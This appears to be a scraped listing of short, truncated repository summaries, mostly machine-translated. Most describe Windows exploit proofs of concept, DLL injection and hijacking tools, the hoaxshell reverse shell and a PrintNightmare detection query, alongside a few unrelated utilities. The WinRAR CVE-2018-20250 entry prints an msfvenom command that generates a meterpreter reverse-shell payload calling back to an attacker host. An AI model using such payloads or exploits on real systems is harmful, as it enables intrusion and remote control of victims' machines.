PCLink

PCLink Server The secure backbone for your personal PC remote control ecosystem. PCLink is a modern, web-first server designed for secure remote PC management and high-performance screen streaming. Featuring a high-performance FastAPI backend, a responsive Web UI, and an extensible plugin system...

CVE-2024-36991

CVE-2024-36991 - Traversée de chemin Splunk Preuve de concept pour CVE-2024-36991 qui permet à un attaquant de lire des fichiers arbitraires dans Splunk pour les versions inférieures à 9.2.2, 9.1.5 et 9.0.10 pour Windows. Utilisation Lire les fichiers de configuration Splunk Pour lire les fichier...

sharem

SHAREM Добро пожаловать в SHAREM! SHAREM был представлен на DEFCON 31 в докладе «Game-Changing Advances in Windows Shellcode Analysis» и на Black Hat USA Arsenal. Компаньон-плагин для Ghidra был выпущен отдельно компанией Trellix, любезно предоставленный Максом Керстеном. Таким образом, вы можете...

CVE-2021-1732

Windows 권한 상승 CVE-2021-1732 Win32k 익스플로잇 - 로컬 권한 상승 교육 및 승인된 보안 연구 목적으로만 사용하십시오 원본 익스플로잇 작성자 @Exploit Blizzard 취약점 설명 win32k 내에 공격자가 NT AUTHORITY\SYSTEM의 권한으로 상승하는 데 활용할 수 있는 취약점이 존재합니다. 이 결함은 공격자가 제어하는 값으로 채워졌음에도 불구하고 WndExtra 필드가 오프셋으로 처리되도록 조작될 수 있는 방식에 있습니다. 이는 경계를 벗어난 쓰기 작업을 달성하는 데 활용될 수 있으며...

Robber

Robber — Scanner de détournement de DLL Outil gratuit et open source pour trouver des opportunités de détournement de DLL dans les exécutables Windows. Aucune dépendance tierce. Ce qu'il fait Windows charge les DLL en recherchant un ensemble fixe de répertoires dans l'ordre — d'abord le répertoir...

sheepl

sheepl Sheepl : Créer un comportement utilisateur réaliste pour soutenir le développement des techniques opérationnelles dans des environnements de laboratoire Introduction Il existe de nombreuses ressources en ligne sur la façon de construire des environnements réseau AD pour le développement de...

CVE-2018-20250

Configuration Démo vidéo: https://youtu.be/5tuWsi1tGS0 Machine VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Procédure Kali: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: git clone...

CVE-2024-38063

CVE-2024-38063 Aperçu En août 2024, Microsoft a publié un correctif pour une vulnérabilité d'exécution de code à distance RCE dans TCP/IP de Windows. Certains chercheurs ont déjà publié des preuves de concept PoC pour cette vulnérabilité, et à peu près au même moment, les chercheurs de PatchPoint...

staged-DLL-Injection-SMB-

staged-DLL-Injection Экспериментальное внедрение DLL по стадиям, написанное на C с использованием Win32 API — разработано в изолированной лабораторной среде для изучения сертификации красной команды CRTO. ⚠️ Отказ от ответственности: Этот проект был разработан строго в изолированной лабораторной...

windows-kernel-exploits

windows-kernel-exploits Introduction windows-kernel-exploits Liste des vulnérabilités Bulletin de sécurité KB Description Système d'exploitation CVE-2021-33739 Microsoft DWM Core Library Elevation of Privilege Vulnerability Windows 10, 20 CVE-2021-1732 Windows Win32k Elevation of Privilege...

CVE-2021-41773

CVE-2021-41773 Apache 2.4.49 Vérificateur de vulnérabilité de traversée de chemin Exemple Plateforme Linux & Windows...

rifiuti2

Introduction Rifiuti2 est un outil d'analyse des fichiers INFO2 de la corbeille Windows. L'analyse de la corbeille Windows est généralement effectuée lors d'analyses forensiques Windows. Rifiuti2 peut extraire la date de suppression, le chemin d'origine et la taille des fichiers supprimés, ainsi...

duf

duf Disk Usage/Free Utility Linux, BSD, macOS & Windows Features User-friendly, colorful output Adjusts to your terminal's theme & width Sort the results according to your needs Groups & filters devices Can conveniently output JSON Installation Packages Linux Arch Linux: pacman -S duf Ubuntu 22.0...

WindowsRootkitsGuide

В этом репозитории нет README...

OptixGate

Optix Gate — это многоцелевой защищённый инструмент удалённого администрирования для Microsoft Windows. Он обеспечивает удалённый доступ к нескольким сеансам Windows и/или машинам одновременно. История Optix Gate был создан, среди прочего, для поддержания и дальнейшего развития моих навыков...

CVE-2020-1350

Ceci est un exercice éducatif pour honeypot . Utilisez à vos risques. CVE-2020-1350 Vulnérabilité DNS - CVE-2020-1350 Binaire Windows PoC ./cve20201350.exe...

LocalNet_Attacker

LocalNetAttacker Il s'agit d'un outil d'attaque réseau local basé sur Java. En utilisant cet outil, vous pouvez attaquer ou recueillir des informations sur les systèmes Windows cibles qui sont connectés avec vous sur le même réseau. Fonctionnalités Récupération des détails IP Récupération des...

CVE-2021-1675_CarbonBlack_HuntingQuery

Запрос CarbonBlack для поиска CVE-2021-1675 PrintNightmare 1 На основе правила Sigma для обнаружения POC-кода filemodname:c:\windows\system32\spool\drivers\x64\3\old\1\123 2 На основе правила Sigma для обнаружения POC-кода modloadname:c:\windows\system32\spool\drivers\x64\3 OR...

hoaxshell

hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...

hoaxshell

hoaxshell ⚡ La dernière version de ce projet est le HoaxShell standalone listener qui est fourni avec des modèles de payload rafraîchis. Vous pouvez également l'utiliser directement depuis https://revshells.com assurez-vous de choisir hoaxshell comme écouteur. ⚠️ Depuis le 2022-10-18, hoaxshell es...